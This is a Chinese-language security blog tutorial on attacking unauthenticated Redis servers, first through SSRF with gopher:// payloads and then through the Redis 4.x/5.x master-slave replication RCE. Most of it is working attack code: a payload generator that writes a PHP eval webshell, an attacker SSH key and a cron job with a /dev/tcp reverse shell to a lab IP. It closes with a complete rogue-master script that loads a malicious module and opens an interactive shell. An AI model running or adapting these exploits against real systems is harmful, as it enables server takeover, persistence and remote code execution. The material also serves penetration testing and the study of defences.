浅析Redis中SSRF的利用

2019-07-15 约 656 字 预计阅读 4 分钟

声明:本文 【浅析Redis中SSRF的利用】 由作者 By七友 于 2019-07-15 09:10:00 首发 先知社区 曾经 浏览数 181 次

感谢 By七友 的辛苦付出!

SSRF介绍

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。这里我们要介绍的是关于redis中SSRF的利用,如果有什么错误的地方还请师傅们不吝赐教/握拳。

前置知识

文章中的数据包构造会涉及到redis的RESP协议,所以我们这里先科普一下,了解RESP协议的师傅可以跳过=。=

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

我们用tcpdump来抓个包来测试一下

tcpdump port 6379 -w ./Desktop/1.pcap

redis客户端中执行如下命令

192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓到的数据包如下


hex转储看一下

正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$4代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Redis配合gohper协议进行SSRF

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 reids、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用

redis常见的SSRF攻击方式大概有这几种:

  1. 绝对路径写webshell

  2. 写ssh公钥

  3. 写contrab计划任务反弹shell

下面我们逐个实现

绝对路径写webshell

这个方法比较常用,也是用得最多的=。=

构造payload

构造redis命令

flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

写了一个简单的脚本,转化为redis RESP协议的格式

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

生成payload后,用curl打一波

执行成功,我们看一波shell是否写入成功

成功写入

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys
如果不存在,则可以利用crontab创建该目录

构造payload

构造redis命令

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

转化为redis RESP协议的格式
PS:将第一个脚本改一下

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"

生成payload

curl打一波

我们来查看一波是否成功写入


成功写入,尝试连接


成功连接

利用contrab计划任务反弹shell

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

构造payload

构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

转化为redis RESP协议的格式
PS:将第一个脚本改一下

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

生成一波,尝试反弹shell

成功反弹shell

Redis4.x/5.x从SSRF到RCE

前言

前几天看到RR师傅在朋友圈发的redis4.x/5.x rce,原本想去搞搞看的,但是无奈本菜鸡正处于考试预习阶段QAQ,所以没什么心思去看 =。=,直到考完试才安心下来看,不过网上已经很多关于redis rce分析的文章,但是我发现大多数都是一笔带过没怎么看懂(我理解能力比较差),所以决定自己搞一下。

介绍

redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkovzeronights 2018上提出的基于主从复制的redis rce,演讲的PPT地址为:PPT

利用

利用条件:

  • 能未授权或者能通过弱口令认证访问到Redis服务器

主从复制

主从复制的概述:

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

建立主从复制,有3种方式:

  1. 配置文件写入slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380

redis-server /etc/redis/redis.conf 
redis-server /etc/redis/redis6380.conf

我们把master_ip设置为127.0.0.1,master_port为6380

root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"

执行一波,我们可以明显看到数据达到了同步的效果.
如果我们想解除主从关系可以执行SLAVEOF NO ONE

redis module

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

恶意so文件编写:https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK

利用原理

利用步骤,贴一下PPT上的步骤


slave和master的握手协议过程


图中一些常量说明

#define REPL_STATE_CONNECTING 2 /* 等待和master连接 */
/* --- 握手状态开始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */
#define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手状态结束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */

我这里主要讲一下最重要的那一步,就是利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

那我们为什么一定要用全量复制呢?原因如下。
当slave向master发送PSYNC命令之后,一般会得到三种回复:

  1. +FULLRESYNC:进行全量复制。
  2. +CONTINUE:进行增量同步。
  3. -ERR:当前master还不支持PSYNC。

全量复制的过程:

  • slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?,offest为-1,我们来测试以下看看是不是真的如此

  • master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存

  • master把自己的runid和offset发给slave

  • master进行bgsave,生成RDB文件

  • master将写好的RDB文件传输给slave,并将缓冲区内的数据传输给slave

  • slave加载RDB文件和缓冲区数据

增量复制(又称部分复制)过程:

增量复制的过程这里简单带过一下:就是当slave向master要求数据同步时,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件

通过了解全量复制和增量复制的过程,我们应该大致知道为什么一定要用全量复制而不用增量复制了。

攻击流程

  • 配置一个我们需要以master身份给slave传输so文件的服务,大致流程如下
    PING 测试连接是否可用
    +PONG 告诉slave连接可用
    REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
    +OK 告诉slave成功接受
    REPLCONF 发送REPLCONF capa
    +OK 告诉slave成功接受
    PSYNC <rundi> <offest> 发送PSYNC
    如下图所示:

  • 将要攻击的redis服务器设置成我们的slave
SLAVEOF ip port
  • 设置RDB文件
    PS:这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用config set dir path
config set dbfilename exp.so
  • 告诉slave使用全量复制并从我们配置的Rouge Server接收module
    +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
    PS:其中<runid>无要求,不过长度一般为40,<offest>一般设置为1

exp

贴一下exp,写得比较丑,为了节省文章的篇幅其它功能我就没有加上去了,有需要的师傅可以自行添加=。=

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

效果图

Reference

https://redis.io/topics/protocol
https://www.cnblogs.com/kismetv/p/9236731.html#t1
http://duqingfeng.net/2018/06/08/Redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E2%80%94%E2%80%94%E5%85%A8%E9%87%8F%E5%A4%8D%E5%88%B6%E4%B8%8E%E5%A2%9E%E9%87%8F%E5%A4%8D%E5%88%B6%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/hongmoshui/p/10594639.html
https://xz.aliyun.com/t/5616
https://joychou.org/web/hackredis-enhanced-edition-script.html

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now